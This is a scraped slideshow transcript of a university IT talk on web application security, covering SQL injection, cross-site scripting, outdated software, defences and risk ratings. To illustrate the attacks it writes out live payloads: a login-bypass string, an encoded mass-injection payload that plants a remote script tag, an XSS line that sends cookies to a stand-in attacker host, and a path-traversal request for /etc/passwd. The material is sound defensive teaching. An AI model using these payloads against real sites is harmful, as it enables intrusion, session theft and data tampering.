web security n.
Download
Skip this Video
Loading SlideShow in 5 Seconds..
Web Security PowerPoint Presentation
Download Presentation
Web Security

Loading in 2 Seconds...

play fullscreen
1 / 30

Web Security - PowerPoint PPT Presentation


  • 179 Views
  • Uploaded on

Web Security. http://xkcd.com/327. Chris Wakelin – IT Services. Introduction. Background Vulnerabilities Defences Risk Assessment. Background - Incidence of common vulnerabilities. Broken authentication – 67% Broken access controls – 78% SQL injection – 36% Cross-site scripting – 91%

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Web Security' - piper


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
web security

Web Security

http://xkcd.com/327

Chris Wakelin – IT Services

introduction
Introduction
  • Background
  • Vulnerabilities
  • Defences
  • Risk Assessment
background incidence of common vulnerabilities
Background - Incidence of common vulnerabilities
  • Broken authentication – 67%
  • Broken access controls – 78%
  • SQL injection – 36%
  • Cross-site scripting – 91%
  • Information leakage – 81%

(source – Web Application Hacker’s Handbook)

background mass exploits
Background – Mass exploits
  • November 2007 – yl18.net
    • “40,000 websites”
    • http://isc.sans.org/diary.html?storyid=3621
    • Including www.reading.gov.uk
  • January 2008 - uc8010.com
    • “70,000 websites”
    • Including www.iop.kcl.ac.uk ?
    • http://isc.sans.org/diary.html?storyid=3823
background uor web defacements
Background -UoR Web defacements
  • Fresher’s Week 2007
    • www.careers.reading.ac.uk defaced
    • “code own3d by UGUR238” appearing everywhere
  • 30th October
    • www.launchpad.reading.ac.uk defaced
    • “ownz ya baby”
  • 19th November 2007
    • www.reading.ac.uk/moneymatters (a.k.a. www.extra.rdg.ac.uk/studentfinance) defaced
    • “Hooked by cyber_zook”
  • We’ve been lucky!
background motivation
Background –Motivation
  • We were lucky, still only “script kiddies”
    • No malicious code inserted
    • Defacement was obvious (boasting!)
  • Mass exploits are perpetrated by Cyber Criminals
    • Wish to insert malicious code (Javascript and IFRAMEs)
    • Attack visiting clients with cocktail of exploits
    • Eventually install “Trojan du Jour” (“drive-by downloads”)
    • Compromised clients used to capture banking details, spread spam etc.
  • Consequences of such an exploit in the University
    • Many of the clients would be our users
      • Potentially huge clean-up task
    • Damage to University’s reputation etc.
vulnerabilities sql injection cartoon
Vulnerabilities -SQL Injection - Cartoon
  • Consider the cartoon. What if the web app used the following SQL query?

SELECT * FROM Students WHERE (status = ‘active’ AND name=‘$name’)

  • “Little Bobby Tables” has just made

$name = Robert‘); DROP TABLE Students;--

  • So the query becomes

SELECT * FROM Students WHERE (account=‘active’ AND name=‘Robert’); DROP TABLE Students;-- ‘)

  • Oops!
vulnerabilities sql injection authentication
Vulnerabilities – SQL Injection - Authentication
  • What about

SELECT * FROM Users WHERE username=‘$username’ AND password=‘$password’ ?

  • I found three different UoR websites where a password of ‘OR ‘1’=‘1 logged me in (as an Administrator in two of the cases!)
    • … AND password=‘’ OR ‘1’=‘1’
    • One using MS SQL Server (ASP, commercial), one MS Access (ASP, consultancy) and one MySQL (PHP, home-grown)
vulnerabilities sql injection mass exploits
Vulnerabilities - SQL Injection – Mass Exploits

HTTP Request was

GET /home/site_content_3.asp?s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072... ...29003B00%20AS%20NVARCHAR(4000));EXEC(@S);--

Which decodes as

declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="hxxp://yl18 net/0.js"></script>'';'from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);

vulnerabilities advanced sql injection
Vulnerabilities -Advanced SQL Injection
  • ‘Blind’ SQL Injection
    • Just needs to produce a different result depending on whether the given condition is true or false
  • WebCMS was vulnerable
    • /nmsruntime/saveasdialog.asp?lID=14531%20and%201=1&sID=22059 gave a different answer (downloaded the file) to
    • /nmsruntime/saveasdialog.asp?lID=14531%20and%201=2&sID=22059 (gave an error)
  • Automated tools can potentially retrieve (slowly) everything in the database
    • Queries like … AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username=‘admin’) > 78
vulnerabilities advanced sql injection1
Vulnerabilities -Advanced SQL Injection

[*] starting at: 22:00:56

[22:01:03] [WARNING] the remote DMBS is not MySQL

[22:01:04] [WARNING] the remote DMBS is not Oracle

[22:01:04] [WARNING] the remote DMBS is not PostgreSQL

remote DBMS: Microsoft SQL Server

Database: ae400_readingdev

[163 tables]

+---------------------------------------+

| ACTIVATION |

| AEMA_PAGE_AC_COST |

| AEMA_PAGE_AC_COST_VALUES |

| AEMA_PAGE_AC_ROOMTERM |

| AEMA_PAGE_AC_ROOMTERM_VALUES |

| AEMA_PAGE_AC_TYPE |

| AEMA_PAGE_AC_TYPE_VALUES |

| WORKFLOW |

| WORKFLOW_USERS |

+---------------------------------------+

[*] shutting down at: 00:16:21

vulnerabilities cross site scripting xss
Vulnerabilities -Cross-Site Scripting (XSS)
  • Not as spectacular as SQL injection
  • Far more prevalent (91%)
  • Severity depends on context
  • E.g. can be used to hijack authenticated sessions
    • Victim is persuaded to follow specially crafted link to their application
    • Their browser sends their session cookie to the attacker
    • The attacker uses this cookie to hijack the session
  • Can be Spectacular – the MySpace worm used XSS
    • Attacker posted Javascript to his profile
    • People visiting that profile became his buddies and had the Javascript added to their profile
    • He ended up with over a million friends (not that they helped him in court!)
vulnerabilities cross site scripting
Vulnerabilities –Cross-Site Scripting
  • Typical problem is in search pages or error pages
  • …/Search.asp?search-term=<script> …
    • “You searched for <script>alert(document.cookie)</script>”
  • …/Login.php?user=<script> …
    • “User <script>var i=new Image; i.src=“hxxp://hacker.com/”+document.cookie</script> does not exist”
  • Can also happen by “POST” (form submission) but harder to exploit
  • These are “Reflected” or “Class 1” XSS.
vulnerabilites cross site scripting
Vulnerabilites –Cross-Site Scripting
  • Stored” or “Class 2” XSS is where an attacker puts Javascript in a field (such as a comment) which is subsequently viewed by other users
    • E.g. Webmail, blogs, bulletin boards, advertisments
  • Other avenues of attack starting to appear
    • Flash
    • ActiveX controls
  • Best browser defence is Firefox + NoScript plugin
    • Selectively allow Javascript for trusted sites
    • Perhaps not user-friendly enough …
vulnerabilities outdated applications
Vulnerabilities –Outdated applications
  • E.g. Wordpress, phpBB, Joomla
  • “Google Hacking”
    • Find old vulnerable versions of well-known applications
    • E.g. “site:rdg.ac.uk inurl:wp-login.php”
    • See http://johnny.ihackstuff.com/ghdb.php for more ...
  • Even security professionals not immune - http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/
  • Watch out for “plugins” as they may be less well-written
  • Essential to keep applications up-to-date!
vulnerabilities old versions and source code
Vulnerabilities – Old versions and source code
  • Don’t keep old (potentially insecure) version of scripts lying around
    • Hackers will try “index.php.bak” and “default2.asp”
    • If you must keep old versions online, pick a naming scheme that is unlikely to be guessed
      • “search-191107cdw.asp”
    • If you change the file extension, the server may hand out your actual code!
  • Deny access to source and backup directories
    • Preferably keep them out of the web root altogether
vulnerabilities others
Vulnerabilities - others
  • Other injection flaws
    • Command injection (can run OS commands)
    • Script injection (exec/eval/include commands in scripts)
    • HTTP header (CRLF) injection (anything the client sends you that ends up in the header, especially cookies and redirects)
    • SMTP/LDAP/XPATH/SOAP …
  • Path traversal
    • http://myapp.reading.ac.uk/display.php?file=../../../../etc/passwd
  • Buffer overflows
    • Don’t rely on “<input … maxlength=xxx>” or “size=xxx”
defences fix apps
Defences – Fix apps
  • Sanitise anything you get and use from the user
    • Including ‘hidden’ fields, cookies, user-agent etc.
    • Don’t assume they’ll obey things like length-restrictions
  • If possible, restrict to ‘known good’ rather than trying to exclude bad things
    • E.g. if your application takes an integer as an argument, reject anything that isn’t an integer
    • Be careful not to throw out the baby with the bathwater, though
      • We probably don’t want to exclude people of Irish ancestry from receiving the University prospectus – e.g. O’Connor
  • “Parameterise” SQL queries (if necessary)
  • HTML-Encode anything you output
    • htmlencode($string) in PHP
    • Server.HTMLencode(string) in ASP
defences fix apps validate input
Defences – Fix apps –Validate input
  • ASP

Public Function ValidateInput(ByVal sInput, ByVal sPattern)

Dim reValid

Set reValid = New RegExp

reValid.Pattern = sPattern

reValid.Global = True

ValidateInput = reValid.Test(sInput)

Set reValid = Nothing

End Function

If not ValidateInput(strid, "^[0-9]+$") then

strid="1"

End If

  • PHP

If (!preg_match("/^[0-9]+$/",$strid)) $strid="1" ;

defences fix apps parameterise queries
Defences - Fix apps -Parameterise queries
  • PHP

$sql = $db_connection->prepare(

“SELECT * FROM users WHERE username = ? AND password = ?”);

$sql->bind_param(“ss”, $username, $password);

$sql->execute();

  • ASP

Set dbCommand = Server.CreateObject("ADODB.Command")Set dbCommand.ActiveConnection = dbConnectiondbCommand.CommandType = adCmdTextdbCommand.CommandText = "SELECT * FROM users WHERE username=? and password=?“

dbCommand.Parameters.Append (dbCommand.CreateParameter("username", adChar, adParamInput, Len(username), username))

dbCommand.Parameters.Append (dbCommand.CreateParameter("pwd", adChar, adParamInput, Len(pwd), pwd))

Set rs = dbCommand.Execute

defences minimal permissions
Defences -Minimal permissions
  • Each application should have its own database account(s)
    • Account should have read-only privileges unless the application modifies the data
    • Use separate account for admin write access if possible
    • Don’t be DBA (even to just make things work)
  • Use access restrictions (.htaccess etc.) to restrict admin functionality to trusted networks/users
  • Web servers shouldn’t run as root/local system/administrator or as the same user as the database
    • May be an idea to run the database on a different server altogether
  • Use strong passwords (and password policies)
    • Use password hashes where possible
defences policies
Defences - Policies
  • We should aim to not be the “low-hanging fruit”
  • Move the fruit further up the tree by
    • Requiring authentication
    • Restricting access to those on campus where possible
  • Shake the tree ourselves and see what falls out
    • Then fix it
  • Hackers with ladders/cherry-pickers/chainsaws will probably beat us!
    • But we’re not a bank, so hopefully they won’t bother
defences policies1
Defences - Policies
  • A single Nessus Scan no longer sufficient
    • Websites change
    • Nessus not really suited to testing web applications
  • We need a policy of systematic testing
    • When a request for a database is made
    • When a web application is installed or changed
    • Periodic automated testing?
  • Try to consolidate to central services where possible
    • Do we need 10 different Wordpress installations?
defences policies2
Defences - Policies
  • Web applications need to be properly resourced and maintained (static pages are probably OK)
  • Consultancy & commercial
    • Can’t just pay a consultant to develop it and forget about it
    • Need support contract
  • Home-grown
    • What if the original author leaves?
  • Open-source
    • Keep up-to-date with latest releases and patches
    • What if it’s no longer maintained?
defences security scans
Defences - Security Scans
  • Historically we scanned new websites with Nessus
    • Not particularly aimed at web-application security problems
      • Doesn’t do “spidering” so will only find problems in obvious places
    • We only scanned once (and reserved the right to rescan later)
    • Nessus is free!
  • Web Security Scanners
    • Commercial ones are expensive £3000 - £30000!
      • WebInspect, AppScan, Acunetix …
    • Can still have problems with false positives
    • Will still miss some of the obvious vulnerabilities
    • Probably can be used for automated and first-glance checks
defences free testing tools
Defences - Free testing tools
  • Paros Proxy (http://www.parosproxy.org/ )
    • Good point & click tool – a bit lacking in documentation
    • Will find the simplest XSS and SQL injection flaws
  • Burp Suite (http://www.portswigger.net/suite/ )
    • More sophisticated tools to assist the penetration tester
  • Acunetix Free Edition (http://www.acunetix.com )
    • Restricted version of commercial scanner; just finds XSS
  • Nikto (http://www.cirt.net )
    • Perl script to look for common vulnerabilities
  • WebGoat (http://www.owasp.org/ )
    • Training application for pen testers (can you buy the HDTV for 0$?)
defences web application firewall
Defences -Web Application Firewall
  • Mod_security for Apache (http://www.modsecurity.org )
    • Main Apache server is acting as “reverse proxy” for WebCMS
    • Can block things like XSS and SQL injection attacks
    • Customisable “Core” Ruleset provided
      • Custom rules can protect particular applications
    • Provides an audit trail
      • Free console application (for up to 3 servers)
    • Currently running in “Log only” mode (on all virtual hosts)
    • Can proxy www.xyz.rdg.ac.uk by making DNS point to Apache
      • But may need different URL for editing
    • Risk of false positives (we have a very varied website)
risk assessment
Risk Assessment
  • SQL Injection in SQL Server or MySQL
    • High risk
    • Actively targeted by automated attacks
    • Potential to affect other apps sharing the same database server
  • SQL Injection in MS Access
    • Medium risk
    • Less likely to be compromised by an automated attack
    • Determined hacker could probably modify the database and insert malicious code
risk assessment1
Risk Assessment
  • Reflected XSS
    • Low to medium risk
    • Important on sites with authentication (Blackboard, RISIS, Trent etc.) where session tokens could be stolen
  • Outdated well-known applications
    • Could be a high risk
    • Automated attacks via “Google Hacking”
conclusion
Conclusion
  • Web application security now a ‘hot topic’
  • Automated attacks occurring constantly
  • Need to fix home-grown scripts and applications
  • Need to keep third-party applications up-to-date
  • Need to ensure proper resources for maintenance
  • Need policies to keep track